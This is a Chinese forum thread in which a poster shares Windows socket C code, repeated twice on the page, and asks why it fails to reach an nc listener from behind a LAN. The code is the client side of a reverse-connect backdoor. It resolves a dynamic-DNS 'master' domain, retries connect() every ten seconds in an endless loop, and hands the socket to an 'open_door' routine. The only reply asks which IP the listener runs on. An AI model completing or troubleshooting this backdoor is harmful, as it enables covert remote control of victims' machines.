我用nc做服务端,自己创建个socket,用gethostbyname()函数获得一动态域名的地址,然后反向连接,
一点反应也没有.
#define MasterAddr "xxxxxxxxxxx.org" //连接地址
#define MasterPort 5556 //连接端口
struct sockaddr_in local;
int main() {
HOSTENT *host_entry;
WSADATA WSA;
if ((WSAStartup(MAKEWORD(2,2),&WSA)) != 0) {
printf("[e]Load WINSOCK Failed!\n");
return -1;
}
SOCKET sock_serv; local.sin_family = AF_INET;
local.sin_port = htons(MasterPort);
host_entry = gethostbyname(MasterAddr);
/* printf("%s\n", MasterAddr);
if(host_entry!=0)
{
printf(" 解析IP地址: ");
printf("%d.%d.%d.%d",
(host_entry->h_addr_list[0][0]&0x00ff),
(host_entry->h_addr_list[0][1]&0x00ff),
(host_entry->h_addr_list[0][2]&0x00ff),
(host_entry->h_addr_list[0][3]&0x00ff)); }*/
memcpy( &local.sin_addr,host_entry->h_addr_list[0],host_entry->h_length );
sock_serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
while (1){
if (0 == connect(sock_serv, (struct sockaddr *)&local, sizeof(local)))
open_door(sock_serv);
else
Sleep(10000);
}
printf("success\n");
closesocket(sock_serv);
puts("Close Socket");
WSACleanup();
return 0;
}
用本机做实验,local.sin_addr = inet_addr("127.0.0.1"),则可以,用ip地址60.128.XX.xx 也没反应
.我的机器在一局域网,是不是这一问题导致无法工作,要改的话如何修改
一点反应也没有.
#define MasterAddr "xxxxxxxxxxx.org" //连接地址
#define MasterPort 5556 //连接端口
struct sockaddr_in local;
int main() {
HOSTENT *host_entry;
WSADATA WSA;
if ((WSAStartup(MAKEWORD(2,2),&WSA)) != 0) {
printf("[e]Load WINSOCK Failed!\n");
return -1;
}
SOCKET sock_serv; local.sin_family = AF_INET;
local.sin_port = htons(MasterPort);
host_entry = gethostbyname(MasterAddr);
/* printf("%s\n", MasterAddr);
if(host_entry!=0)
{
printf(" 解析IP地址: ");
printf("%d.%d.%d.%d",
(host_entry->h_addr_list[0][0]&0x00ff),
(host_entry->h_addr_list[0][1]&0x00ff),
(host_entry->h_addr_list[0][2]&0x00ff),
(host_entry->h_addr_list[0][3]&0x00ff)); }*/
memcpy( &local.sin_addr,host_entry->h_addr_list[0],host_entry->h_length );
sock_serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
while (1){
if (0 == connect(sock_serv, (struct sockaddr *)&local, sizeof(local)))
open_door(sock_serv);
else
Sleep(10000);
}
printf("success\n");
closesocket(sock_serv);
puts("Close Socket");
WSACleanup();
return 0;
}
用本机做实验,local.sin_addr = inet_addr("127.0.0.1"),则可以,用ip地址60.128.XX.xx 也没反应
.我的机器在一局域网,是不是这一问题导致无法工作,要改的话如何修改
解决方案 »
- 目前有没有可用的飞信接口?
- 求解 m_recdata+=strtemp 的意义?
- 现在兔子接分太厉害了。。。。
- 如何用c++实现敌机的移动
- 请高手翻译下TOKEN_INFORMATION_CLASS结构
- 在AP程序里面,我通过GetForegroundWindow( )函数找到当前顶层的窗体,然后通过PostMessage( )给这个窗体发消息,那个顶层窗体怎么收不到消息啊?
- 怎么用DirectShow对捕捉到的视频进行编辑?
- Win32控制台项目连接警告,编译程序不能运行。
- 如何将MessageBox中的按钮用自己的button类替换?
- 为什么对话框中没有WM_THREADFINISHED消息!!在线等,谢谢
- 关于list box中显示问题
- 【很急切】CPoint的点如何进行偏移
你的服务是建立在哪个IP上的